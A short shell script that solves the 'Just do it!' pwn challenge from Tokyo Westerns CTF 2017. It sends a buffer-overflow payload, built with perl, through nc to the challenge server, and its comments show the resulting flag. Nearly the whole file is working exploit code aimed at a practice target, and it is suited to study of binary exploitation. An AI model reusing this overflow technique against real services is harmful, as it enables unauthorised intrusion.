exploit.sh

#!/bin/sh

# Tokyo Westerns CTF 3rd 2017: Just do it!

perl -e 'print "A" x (0x20-0xc-0x1) . "\x00\x80\xa0\x04\x08\n"' | nc pwn1.chal.ctf.westerns.tokyo 12345

# $ ./exploit.sh
# Welcome my secret service. Do you know the password?
# Input the password.
# TWCTF{pwnable_warmup_I_did_it!}